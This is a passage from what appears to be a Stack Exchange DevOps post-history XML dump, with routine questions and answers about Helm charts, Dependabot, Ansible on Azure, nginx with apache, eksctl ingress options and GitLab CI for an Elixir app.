&#xD;&#xA;    },&#xD;&#xA;    Dallas: {&#xD;&#xA;      node('test dallas') {&#xD;&#xA;        stage('Dallas') {&#xD;&#xA;          closure()&#xD;&#xA;        }&#xD;&#xA;      } &#xD;&#xA;    } &#xD;&#xA;  } &#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41179" PostHistoryTypeId="24" PostId="13375" RevisionGUID="d7dfae24-5c78-4dc2-8a81-eb9db292a5e9" CreationDate="2021-02-17T20:30:02.017" Comment="Proposed by 6377 approved by 4115 edit id of 1347" ContentLicense="CC BY-SA 4.0" />
  <row Id="41180" PostHistoryTypeId="2" PostId="13380" RevisionGUID="2a606028-53ef-4141-bf30-e81fb9c8b5a9" CreationDate="2021-02-17T20:39:30.287" UserId="26155" Text="I believe what you're asking is: &quot;Is there any way to create just one helm chart that can be used for all microservices in my application?&quot;. If so, then you can just use the values.yaml file to store all the values for your templates. This is probably not considered good practice, considering your template file needs to hold the information for each of your microservice deployments (and thus will become really difficult to manage), but it is possible. &#xD;&#xA;&#xD;&#xA;One example: say you have two microservices, and you need one Helm chart that will create the template for both microservices. Generally, you would create separate templates for each service under the templates folder, and deploy each Helm chart for each service individually, but instead you could create multiple deployments in one template yaml file, like&#xD;&#xA;&#xD;&#xA;    # For service 1&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    type: Deployment&#xD;&#xA;    etc., etc... (stick in all values.yaml file values here for service 1)&#xD;&#xA;    ---&#xD;&#xA;    # For service 2&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    type: Deployment&#xD;&#xA;    etc., etc... (stick in all values.yaml file values here for service 2)&#xD;&#xA;&#xD;&#xA;In your values.yaml file, you would then just place in the values for each of your services, like&#xD;&#xA;    &#xD;&#xA;    # Service 1 Keys/Values&#xD;&#xA;    foo: value&#xD;&#xA;    # Service 2 Keys/Values&#xD;&#xA;    bar: otherValue&#xD;&#xA;&#xD;&#xA;So to answer your question, you can package all your services into one individual Helm chart using the above method, and Kubernetes will run each service as their own ReplicaSet as expected. However, when you have many services to manage, it can be tricky to manage the template YAML files and the values.yaml files when you put in values for all your services in one file, and so it's most likely not a good practice to do this. &#xD;&#xA;&#xD;&#xA;This is just my understanding of Helm so far, as I'm still learning Helm myself. As such, I'm not 100% sure if this can be done, so you might want to double check with another person that this answer is actually correct." ContentLicense="CC BY-SA 4.0" />
  <row Id="41181" PostHistoryTypeId="5" PostId="13380" RevisionGUID="bdefd6a7-be6a-43e5-9ff4-892ac26c3477" CreationDate="2021-02-17T21:20:25.863" UserId="26155" Comment="added 299 characters in body" Text="I believe what you're asking is: &quot;Is there any way to create just one helm chart that can be used for all microservices in my application?&quot;. If so, then you can just use the values.yaml file to store all the values for your templates. This is not considered good practice, considering your template file needs to hold the information for each of your microservice deployments (and thus will become really difficult to manage), but it is possible. &#xD;&#xA;&#xD;&#xA;One example: say you have two microservices, and you need one Helm chart that will create the template for both microservices. Generally, you would create separate templates for each service under the templates folder, and deploy each Helm chart for each service individually, but instead you could create multiple deployments in one template yaml file, like&#xD;&#xA;&#xD;&#xA;    # For service 1&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    type: Deployment&#xD;&#xA;    etc., etc... (stick in all values.yaml file values here for service 1)&#xD;&#xA;    ---&#xD;&#xA;    # For service 2&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    type: Deployment&#xD;&#xA;    etc., etc... (stick in all values.yaml file values here for service 2)&#xD;&#xA;&#xD;&#xA;In your values.yaml file, you would then just place in the values for each of your services, like&#xD;&#xA;    &#xD;&#xA;    # Service 1 Keys/Values&#xD;&#xA;    foo: value&#xD;&#xA;    # Service 2 Keys/Values&#xD;&#xA;    bar: otherValue&#xD;&#xA;&#xD;&#xA;So to answer your question, you can package all your services into one individual Helm chart using the above method, and Kubernetes will run each service as their own ReplicaSet as expected. However, when you have many services to manage, it can be tricky to manage the template YAML files and the values.yaml files when you put in values for all your services in one file, and so it's most likely not a good practice to do this. &#xD;&#xA;&#xD;&#xA;This is just my understanding of Helm so far, as I'm still learning Helm myself. As such, I'm not 100% sure if this can be done, so you might want to double check with another person that this answer is actually correct.&#xD;&#xA;&#xD;&#xA;EDIT: To summarize: like I mentioned above, in theory, it is possible to use one Helm chart per service. But in practice, it will be extremely messy later on to manage the values.yaml and the templates in the templates folder. So the answer would be, &quot;Yes in theory, but not recommended at all&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="41182" PostHistoryTypeId="2" PostId="13381" RevisionGUID="ec433f43-4ed6-4e3e-b927-180b70f2c4ca" CreationDate="2021-02-17T21:26:40.637" UserId="19963" Text="Generally, a Helm chart would cover all your microservices - ideally, you should be able to deploy whole application in one chart. It may get a little messy if you include external 3rd party dependencies, where you would need to handle dependent charts, but I assume this is out of scope of your question.&#xD;&#xA;&#xD;&#xA;More so, if your microservices are very similar you could write for loops, such as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{{- range $index, $service := .Values.myservices}}&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: myapp-{{ $service.name }}&#xD;&#xA;# --- etc ---&#xD;&#xA;{{- end }}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, where to put your chart - in most cases a preferred way is to have a separate repo for all Ops CD files, including Helm chart - so this is where Helm chart would live. This is not to be mixed with CI files, such as Dockerfile - those should live alongside microservice repositories themselves." ContentLicense="CC BY-SA 4.0" />
  <row Id="41183" PostHistoryTypeId="52" PostId="13379" RevisionGUID="b1fbdfc7-7cba-47d3-8183-0e1ffd5e4c8d" CreationDate="2021-02-18T00:24:40.640" />
  <row Id="41186" PostHistoryTypeId="2" PostId="13382" RevisionGUID="d2f55828-2e07-4c87-8701-f6234fd9e6cf" CreationDate="2021-02-18T05:26:25.217" UserId="26162" Text="Dependabot and `npm audit` both poll the [Node Security Working Group][1] database for Node-based projects. However, Dependabot has the added ability to check dependencies in [numerous other types of projects][2] as well.&#xD;&#xA;&#xD;&#xA;Also, each report Dependabot generates includes useful info and links directly to a GitHub Advisory Database listing (e.g., [CVE-2017-16021][3]) that itself has multiple links to other listings such as NIST. On the other hand, `npm audit`'s reporting is limited to a single link to an npm advisory listing with far less info (e.g., [#100][4]).&#xD;&#xA;&#xD;&#xA;Overall, Dependabot covers all the bases — and more — that `npm audit` does. No need to use both unless you need a customized audit flow in your package scripts.&#xD;&#xA;&#xD;&#xA;[1]: https://github.com/nodejs/security-wg&#xD;&#xA;[2]: https://docs.github.com/en/github/administering-a-repository/about-dependabot-version-updates#supported-repositories-and-ecosystems&#xD;&#xA;[3]: https://github.com/advisories/GHSA-333w-rxj3-f55r&#xD;&#xA;[4]: https://www.npmjs.com/advisories/100" ContentLicense="CC BY-SA 4.0" />
  <row Id="41187" PostHistoryTypeId="2" PostId="13383" RevisionGUID="a9d29bc8-5806-4827-b503-e677372afc83" CreationDate="2021-02-18T10:39:34.597" UserId="26163" Text="My aim is to have my vnet and subnet in a seperate resource group from the other parts of my infrastructure i.e Virtual Machines.&#xD;&#xA;&#xD;&#xA;I have a short playbook that creates the resource group for my network (vnet &amp; subnet), which works fine. I can build a VM via the portal and all is well.&#xD;&#xA;&#xD;&#xA;My other playbook creates a resource group, creates a vmnic and VM. This playbook references the vnet and subnet created in the other resource group.&#xD;&#xA;&#xD;&#xA;I'm encountering an error (see below) when referencing the resources in the network resource group I created. I found a [previous post](https://devops.stackexchange.com/questions/3741/can-i-create-an-azure-vm-from-ansible-with-nics-in-different-resource-groups) that has helped by suggesting the use of the &quot;set_fact&quot; module.&#xD;&#xA;&#xD;&#xA;I've tried different ways of entering set_fact key values (full resource path / part resource path), but I keep getting an error. I suspect it maybe due to interpolation? Note the double &quot;//&quot; in the error message.&#xD;&#xA;&#xD;&#xA;Could anyone provide some guidance on where I'm going wrong, please?&#xD;&#xA;&#xD;&#xA;Error message:&#xD;&#xA;&gt;fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Error creating or updating network interface test-vm-vnic1 - Azure Error: InvalidRequestFormat\nMessage: Cannot parse the request.\nException Details:\n\tError Code: InvalidJsonReferenceFormat\n\tMessage: Reference Id /subscriptions/REMOVED-SUB-ID/resourceGroups/test-rg/providers/Microsoft.Network/virtualNetworks//providers/Microsoft.Network/virtualNetworks/vnet-ansible-test/subnets//subnets/snet-ansible-test is not formatted correctly. The Id is expected to reference resources of type virtualNetworks/subnets. Path properties.ipConfigurations[0].properties.subnet.&quot;}&#xD;&#xA;&#xD;&#xA;Part of playbook:&#xD;&#xA;```&#xD;&#xA;  tasks:&#xD;&#xA;   - set_fact:&#xD;&#xA;       vnet_rg_id: &quot;/subscriptions/REMOVED-SUB-ID/resourceGroups/rg-ansible-test&quot;&#xD;&#xA;       vnet_id: &quot;/providers/Microsoft.Network/virtualNetworks/vnet-ansible-test&quot;&#xD;&#xA;       snet_id: &quot;/subnets/snet-ansible-test&quot;&#xD;&#xA;&#xD;&#xA;   - name: Create resource group&#xD;&#xA;     azure_rm_resourcegroup:&#xD;&#xA;       name: &quot;{{ rg }}&quot; # this is var declared earlier in the playbook&#xD;&#xA;       location: &quot;{{ location }}&quot; # this is var declared earlier in the playbook&#xD;&#xA;&#xD;&#xA;   - name: Create virtual network inteface cards for VM&#xD;&#xA;     azure_rm_networkinterface:&#xD;&#xA;       resource_group: &quot;{{ rg }}&quot; # this is var declared earlier in the playbook&#xD;&#xA;       name: &quot;{{ nic_name }}&quot; # this is var declared earlier in the playbook&#xD;&#xA;       virtual_network: &quot;{{ vnet_id }}&quot;&#xD;&#xA;       subnet: &quot;{{ snet_id }}&quot;&#xD;&#xA;       location: &quot;{{ location }}&quot; # this is var declared earlier in the playbook&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41188" PostHistoryTypeId="1" PostId="13383" RevisionGUID="a9d29bc8-5806-4827-b503-e677372afc83" CreationDate="2021-02-18T10:39:34.597" UserId="26163" Text="Ansible - Azure resource referencing" ContentLicense="CC BY-SA 4.0" />
  <row Id="41189" PostHistoryTypeId="3" PostId="13383" RevisionGUID="a9d29bc8-5806-4827-b503-e677372afc83" CreationDate="2021-02-18T10:39:34.597" UserId="26163" Text="&lt;ansible&gt;&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41190" PostHistoryTypeId="2" PostId="13384" RevisionGUID="d17f54a7-b3ae-4971-9fd2-c088e51122a9" CreationDate="2021-02-18T11:16:01.260" UserId="12833" Text="Related bug that i have found https://github.com/moby/moby/issues/35437" ContentLicense="CC BY-SA 4.0" />
  <row Id="41191" PostHistoryTypeId="5" PostId="13384" RevisionGUID="5ffea5d7-36fc-44f5-968c-f44e8413877e" CreationDate="2021-02-18T14:46:00.137" UserId="12833" Comment="added 593 characters in body" Text="Related bug that i have found &#xD;&#xA;&#xD;&#xA;&gt; Status.Addr uses the gRPC library to determine the address of a given&#xD;&#xA;&gt; node as viewed by the manager. This means, for example, if a worker&#xD;&#xA;&gt; node was behind a proxy, it would give the proxy's address as&#xD;&#xA;&gt; Status.Addr, even if the worker itself didn't &quot;know&quot; it was behind a&#xD;&#xA;&gt; proxy.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For ManagerStatus.Addr, the address given is the advertise address of&#xD;&#xA;&gt; the manager, as may have been set with --advertise-addr when doing&#xD;&#xA;&gt; init or join. The advertise address must be correct, because that's&#xD;&#xA;&gt; the address that the other managers know to connect to this manager&#xD;&#xA;&gt; at.&#xD;&#xA;&#xD;&#xA;https://github.com/moby/moby/issues/35437" ContentLicense="CC BY-SA 4.0" />
  <row Id="41192" PostHistoryTypeId="2" PostId="13385" RevisionGUID="9f06ba85-6194-4c12-84ae-53906f773854" CreationDate="2021-02-18T15:20:20.697" UserId="26167" Text="Did you try&#xD;&#xA;&#xD;&#xA;    docker inspect TAG&#xD;&#xA;&#xD;&#xA;Also try the manual binary search method in the answer by Timmay to Server Fault StackExchange question [&quot;How to debug Docker cache invalidation?&quot;](https://serverfault.com/questions/747807/how-to-debug-docker-cache-invalidation)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41193" PostHistoryTypeId="2" PostId="13386" RevisionGUID="fd2b1e61-bf9d-4f8a-9ec4-dda12830d213" CreationDate="2021-02-18T19:26:37.767" UserId="19083" Text="I have simple nginx configuration&#xD;&#xA;```&#xD;&#xA;server {&#xD;&#xA;  listen 80;&#xD;&#xA;  listen [::]:80;&#xD;&#xA;  server_name test.mydomain.com;&#xD;&#xA;  location / {&#xD;&#xA;    add_header Content-Type text/plain;&#xD;&#xA;    return 200 'we are at least here';&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;and an `A` record pointing to my `test` subdomain on an instance (e.g. IP `10.0.0.2`)&#xD;&#xA;&#xD;&#xA;`netstat -tlpn` output is the following&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;tcp        0      0 10.0.0.2:443        0.0.0.0:*               LISTEN      21756/nginx: master&#xD;&#xA;tcp        0      0 10.0.0.2:1500       0.0.0.0:*               LISTEN      6315/ihttpd&#xD;&#xA;tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      22751/apache2&#xD;&#xA;tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      21756/nginx: master&#xD;&#xA;tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      942/sshd&#xD;&#xA;tcp6       0      0 ::1:953                 :::*                    LISTEN      912/named&#xD;&#xA;tcp6       0      0 1a02:4f8:c2c:3f80:::443 :::*                    LISTEN      21756/nginx: master&#xD;&#xA;tcp6       0      0 :::80                   :::*                    LISTEN      21756/nginx: master&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and locally I'm able to do `curl -H &quot;Host: test.mydomain.com&quot; http://127.0.0.1/` and receive a proper response.&#xD;&#xA;&#xD;&#xA;But when accessing the same via browser it got redirected to one of the apache's virtualhosts (`apache2ctl -S`) which is&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;127.0.0.1:8080         is a NameVirtualHost&#xD;&#xA;         default server wrongdomain.com (/etc/apache2/vhosts/wrongdomain.com/wrongdomain.com:1)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It seems to me like nginx should be serving requests to my domain and return the page, but for some reason apache is handling that. I can confirm by `systemctl stop apache2` and seeing `502 Bad Gateway` error from nginx. &#xD;&#xA;&#xD;&#xA;How to debug this error and how to tell nginx not to proxy requests to be handled by apache?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41194" PostHistoryTypeId="1" PostId="13386" RevisionGUID="fd2b1e61-bf9d-4f8a-9ec4-dda12830d213" CreationDate="2021-02-18T19:26:37.767" UserId="19083" Text="nginx configuration with apache to serve multiple virtual websites" ContentLicense="CC BY-SA 4.0" />
  <row Id="41195" PostHistoryTypeId="3" PostId="13386" RevisionGUID="fd2b1e61-bf9d-4f8a-9ec4-dda12830d213" CreationDate="2021-02-18T19:26:37.767" UserId="19083" Text="&lt;nginx&gt;&lt;apache-httpd&gt;&lt;curl&gt;&lt;apache2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41196" PostHistoryTypeId="50" PostId="10904" RevisionGUID="bd254df2-875e-4035-a21f-79e4e6be0052" CreationDate="2021-02-18T22:03:20.383" UserId="-1" />
  <row Id="41205" PostHistoryTypeId="2" PostId="13389" RevisionGUID="8d973680-5241-474a-bbf1-cd6ca886fc9c" CreationDate="2021-02-19T10:28:46.877" UserId="26183" Text="I am unable to connect to a Azure Dev Ops Server in Visual Studio using a domain user account. I always get the TF30063 error when trying to connect to the server. I added the user to the team groups of all the team projects and tried several other things, but still no success. Which permission requirements are needed to let users connect via Visual Studio?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41206" PostHistoryTypeId="1" PostId="13389" RevisionGUID="8d973680-5241-474a-bbf1-cd6ca886fc9c" CreationDate="2021-02-19T10:28:46.877" UserId="26183" Text="How to add domain users to DevOps Server 2020 so they can connect via Visual Studio" ContentLicense="CC BY-SA 4.0" />
  <row Id="41207" PostHistoryTypeId="3" PostId="13389" RevisionGUID="8d973680-5241-474a-bbf1-cd6ca886fc9c" CreationDate="2021-02-19T10:28:46.877" UserId="26183" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41208" PostHistoryTypeId="2" PostId="13390" RevisionGUID="1c679553-9236-42f6-9e6a-1389ed80ad56" CreationDate="2021-02-19T11:48:20.537" UserId="26163" Text="With a bit trial and error I was able to work out the values for my &quot;vnet_id&quot; and &quot;snet_id&quot; variables.&#xD;&#xA;&#xD;&#xA;I found using the full ID for the virtual network and not having a &quot;/&quot; before the subnet variable (snet_id) value fixed my problem.&#xD;&#xA;&#xD;&#xA;At the moment I don't fully understand how Ansible/Azure puts it all together, but this has given me enough information to start to understand.&#xD;&#xA;&#xD;&#xA;If anyone could point me to some documentation that explains the construction/interpolation of the variables it would be helpful.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  tasks:&#xD;&#xA;   - set_fact:&#xD;&#xA;       vnet_rg_id: &quot;/subscriptions/REVMOVED-SUB-ID/resourceGroups/rg-ansible-test&quot;&#xD;&#xA;       vnet_id: &quot;/subscriptions/REVMOVED-SUB-ID/resourceGroups/rg-ansible-test/providers/Microsoft.Network/virtualNetworks/vnet-ansible-test&quot;&#xD;&#xA;       snet_id: &quot;snet-ansible-test&quot;&#xD;&#xA;&#xD;&#xA;   - name: Create resource group&#xD;&#xA;     azure_rm_resourcegroup:&#xD;&#xA;       name: &quot;{{ rg }}&quot; # declared earlier in the playbook&#xD;&#xA;       location: &quot;{{ location }}&quot; # declared earlier in the playbook&#xD;&#xA;&#xD;&#xA;   - name: Create virtual network inteface cards for VM&#xD;&#xA;     azure_rm_networkinterface:&#xD;&#xA;       resource_group: &quot;{{ rg }}&quot; # declared earlier in the playbook&#xD;&#xA;       name: &quot;{{ nic_name }}&quot; # declared earlier in the playbook&#xD;&#xA;       virtual_network: &quot;{{ vnet_id }}&quot;&#xD;&#xA;       subnet: &quot;{{ snet_id }}&quot;&#xD;&#xA;       location: &quot;{{ location }}&quot; # declared earlier in the playbook&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41209" PostHistoryTypeId="2" PostId="13391" RevisionGUID="e8ea60ea-08d2-462e-82b9-a9ad1997c531" CreationDate="2021-02-19T12:41:25.563" UserId="24678" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--alb-ingress-access` is in a config schema shown in [Config file schema][2]? At least it's not obvious to me. I even created a sample cluster and printed out the info and didn't see it there.&#xD;&#xA;&#xD;&#xA;    $ eksctl get cluster --name ingress-sample -o yaml&#xD;&#xA;    - Arn: arn:aws:eks:us-east-1:0123456789:cluster/ingress-sample&#xD;&#xA;      CertificateAuthority:&#xD;&#xA;        Data: &lt;redacted&gt;&#xD;&#xA;      ClientRequestToken: null&#xD;&#xA;      CreatedAt: &quot;2021-02-19T00:44:27.976Z&quot;&#xD;&#xA;      EncryptionConfig: null&#xD;&#xA;      Endpoint: https://&lt;redacted&gt;.gr7.us-east-1.eks.amazonaws.com&#xD;&#xA;      Identity:&#xD;&#xA;        Oidc:&#xD;&#xA;          Issuer: https://oidc.eks.us-east-1.amazonaws.com/id/redacted&#xD;&#xA;      KubernetesNetworkConfig:&#xD;&#xA;        ServiceIpv4Cidr: 10.100.0.0/16&#xD;&#xA;      Logging:&#xD;&#xA;        ClusterLogging:&#xD;&#xA;        - Enabled: false&#xD;&#xA;          Types:&#xD;&#xA;          - api&#xD;&#xA;          - audit&#xD;&#xA;          - authenticator&#xD;&#xA;          - controllerManager&#xD;&#xA;          - scheduler&#xD;&#xA;      Name: ingress-sample&#xD;&#xA;      PlatformVersion: eks.1&#xD;&#xA;      ResourcesVpcConfig:&#xD;&#xA;        ClusterSecurityGroupId: sg-xxxxxx&#xD;&#xA;        EndpointPrivateAccess: false&#xD;&#xA;        EndpointPublicAccess: true&#xD;&#xA;        PublicAccessCidrs:&#xD;&#xA;        - 0.0.0.0/0&#xD;&#xA;        SecurityGroupIds:&#xD;&#xA;        - sg-xxxxxx&#xD;&#xA;        SubnetIds:&#xD;&#xA;        - subnet-111111&#xD;&#xA;        - subnet-222222&#xD;&#xA;        - subnet-333333&#xD;&#xA;        - subnet-444444&#xD;&#xA;        VpcId: vpc-xxxxxx&#xD;&#xA;      RoleArn: arn:aws:iam::0123456789:role/eksctl-ingress-sample-cluster-ServiceRole-D0X7QCIRBSDN&#xD;&#xA;      Status: ACTIVE&#xD;&#xA;      Tags: {}&#xD;&#xA;      Version: &quot;1.19&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41210" PostHistoryTypeId="1" PostId="13391" RevisionGUID="e8ea60ea-08d2-462e-82b9-a9ad1997c531" CreationDate="2021-02-19T12:41:25.563" UserId="24678" Text="What is the equivalent of eksctl option &quot;--alb-ingress-access&quot; in a config file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41211" PostHistoryTypeId="3" PostId="13391" RevisionGUID="e8ea60ea-08d2-462e-82b9-a9ad1997c531" CreationDate="2021-02-19T12:41:25.563" UserId="24678" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41212" PostHistoryTypeId="2" PostId="13392" RevisionGUID="6cb54a4a-3dc5-4419-bd4f-fb744055ba5c" CreationDate="2021-02-19T13:03:59.860" UserId="17246" Text="To automate elixir based application ,created a `systemd` service&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Service]&#xD;&#xA;Type=simple&#xD;&#xA;User=gitlab-runner&#xD;&#xA;Group=gitlab-runner&#xD;&#xA;Environment=LANG=en_US.UTF-8&#xD;&#xA; &#xD;&#xA;WorkingDirectory=/path/to/elixirModule&#xD;&#xA;&#xD;&#xA;ExecStart=/path/to/elixirModule/bin/charging_module start&#xD;&#xA;ExecStop=/path/to/elixirModule/bin/charging_module stop&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In `.gitlab-ci.yml`&#xD;&#xA;```&#xD;&#xA;build-project:&#xD;&#xA;  stage: build_charging_module&#xD;&#xA;  tags: &#xD;&#xA;    - elixer-shell&#xD;&#xA;  script:&#xD;&#xA;    - mix ecto.drop&#xD;&#xA;    - MIX_ENV=prod mix release&#xD;&#xA;    - ls -lh _build/prod&#xD;&#xA;    - cp _build/prod/elixir_module-0.1.0.tar.gz /path/to/elixirModule/&#xD;&#xA;    - tar -xvf /path/to/elixirModule/elixir_module-0.1.0.tar.gz&#xD;&#xA;    - sudo systemctl stop elixirModule&#xD;&#xA;    - cd /path/to/elixirModule&#xD;&#xA;    - bin/elixir_module start_iex &#xD;&#xA;    - EctoMnesia.Storage.storage_up(ElixirModuleRepo.config) &#xD;&#xA;    - ElixirModuleRepo.ReleaseTasks.migrate&#xD;&#xA;    - sudo systemctl stop elixirModule&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;These two commands should be executed within `iex` terminal.&#xD;&#xA;```&#xD;&#xA;EctoMnesia.Storage.storage_up(ElixirModuleRepo.config) &#xD;&#xA;ElixirModuleRepo.ReleaseTasks.migrate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With current configuration, I get following error&#xD;&#xA;&#xD;&#xA;&gt; iex(elixir_module@node1)1&gt; $ EctoMnesia.Storage.storage_up(ElixirModuleRepo.config)&#xD;&#xA;1468 bash: eval: line 125: syntax error near unexpected token `ElixirModuleRepo.config'&#xD;&#xA;&#xD;&#xA;How to run these two commands inside `iex`. Also if my approach is buggy or any sort of wrong config, please let me know." ContentLicense="CC BY-SA 4.0" />
  <row Id="41213" PostHistoryTypeId="1" PostId="13392" RevisionGUID="6cb54a4a-3dc5-4419-bd4f-fb744055ba5c" CreationDate="2021-02-19T13:03:59.860" UserId="17246" Text="Run elixir commands with gitlab-ci" ContentLicense="CC BY-SA 4.0" />
  <row Id="41214" PostHistoryTypeId="3" PostId="13392" RevisionGUID="6cb54a4a-3dc5-4419-bd4f-fb744055ba5c" CreationDate="2021-02-19T13:03:59.860" UserId="17246" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41215" PostHistoryTypeId="5" PostId="13391" RevisionGUID="1f97bbca-af5f-41aa-93ad-6e043c60e26a" CreationDate="2021-02-19T13:38:34.607" UserId="24678" Comment="added 171 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--alb-ingress-access` is in a config schema shown in [Config file schema][2]? At least it's not obvious to me. I even created a sample cluster and printed out the info and didn't see it there.&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster \&#xD;&#xA;        --name ingress-sample \&#xD;&#xA;        --version 1.19 \&#xD;&#xA;        --region us-east-1 \&#xD;&#xA;        --fargate \&#xD;&#xA;        --alb-ingress-access&#xD;&#xA;    $ eksctl get cluster --name ingress-sample -o yaml&#xD;&#xA;    - Arn: arn:aws:eks:us-east-1:0123456789:cluster/ingress-sample&#xD;&#xA;      CertificateAuthority:&#xD;&#xA;        Data: &lt;redacted&gt;&#xD;&#xA;      ClientRequestToken: null&#xD;&#xA;      CreatedAt: &quot;2021-02-19T00:44:27.976Z&quot;&#xD;&#xA;      EncryptionConfig: null&#xD;&#xA;      Endpoint: https://&lt;redacted&gt;.gr7.us-east-1.eks.amazonaws.com&#xD;&#xA;      Identity:&#xD;&#xA;        Oidc:&#xD;&#xA;          Issuer: https://oidc.eks.us-east-1.amazonaws.com/id/redacted&#xD;&#xA;      KubernetesNetworkConfig:&#xD;&#xA;        ServiceIpv4Cidr: 10.100.0.0/16&#xD;&#xA;      Logging:&#xD;&#xA;        ClusterLogging:&#xD;&#xA;        - Enabled: false&#xD;&#xA;          Types:&#xD;&#xA;          - api&#xD;&#xA;          - audit&#xD;&#xA;          - authenticator&#xD;&#xA;          - controllerManager&#xD;&#xA;          - scheduler&#xD;&#xA;      Name: ingress-sample&#xD;&#xA;      PlatformVersion: eks.1&#xD;&#xA;      ResourcesVpcConfig:&#xD;&#xA;        ClusterSecurityGroupId: sg-xxxxxx&#xD;&#xA;        EndpointPrivateAccess: false&#xD;&#xA;        EndpointPublicAccess: true&#xD;&#xA;        PublicAccessCidrs:&#xD;&#xA;        - 0.0.0.0/0&#xD;&#xA;        SecurityGroupIds:&#xD;&#xA;        - sg-xxxxxx&#xD;&#xA;        SubnetIds:&#xD;&#xA;        - subnet-111111&#xD;&#xA;        - subnet-222222&#xD;&#xA;        - subnet-333333&#xD;&#xA;        - subnet-444444&#xD;&#xA;        VpcId: vpc-xxxxxx&#xD;&#xA;      RoleArn: arn:aws:iam::0123456789:role/eksctl-ingress-sample-cluster-ServiceRole-D0X7QCIRBSDN&#xD;&#xA;      Status: ACTIVE&#xD;&#xA;      Tags: {}&#xD;&#xA;      Version: &quot;1.19&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41216" PostHistoryTypeId="2" PostId="13393" RevisionGUID="af2711ab-4722-406b-9ac8-8eae26379030" CreationDate="2021-02-19T16:55:58.110" UserId="323" Text="I've got a system where we create a handful devices periodically on Vcenter servers spread out geographically, we build in one &quot;pod&quot; or another.  The load starts out the same and grows in a rather unpredictable way.  (i.e. we don't have enough information going in to decide if one load that we're deploying is going to be larger or smaller than average).  The devices come and go, but the device load mostly grows.&#xD;&#xA;&#xD;&#xA;So, when I want to deploy a new set of devices, I have to choose between POD A and POD B, it's something like 15 ESX Servers in either POD.  Is there a cumulative way to tell if POD A or POD B currently had more or less load so I could maintain a balance between the two VCenters? " ContentLicense="CC BY-SA 4.0" />
  <row Id="41217" PostHistoryTypeId="1" PostId="13393" RevisionGUID="af2711ab-4722-406b-9ac8-8eae26379030" CreationDate="2021-02-19T16:55:58.110" UserId="323" Text="What criteria should I use to choose the vcenter to build my next cluster of machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41218" PostHistoryTypeId="3" PostId="13393" RevisionGUID="af2711ab-4722-406b-9ac8-8eae26379030" CreationDate="2021-02-19T16:55:58.110" UserId="323" Text="&lt;load-balance&gt;&lt;virtualization&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
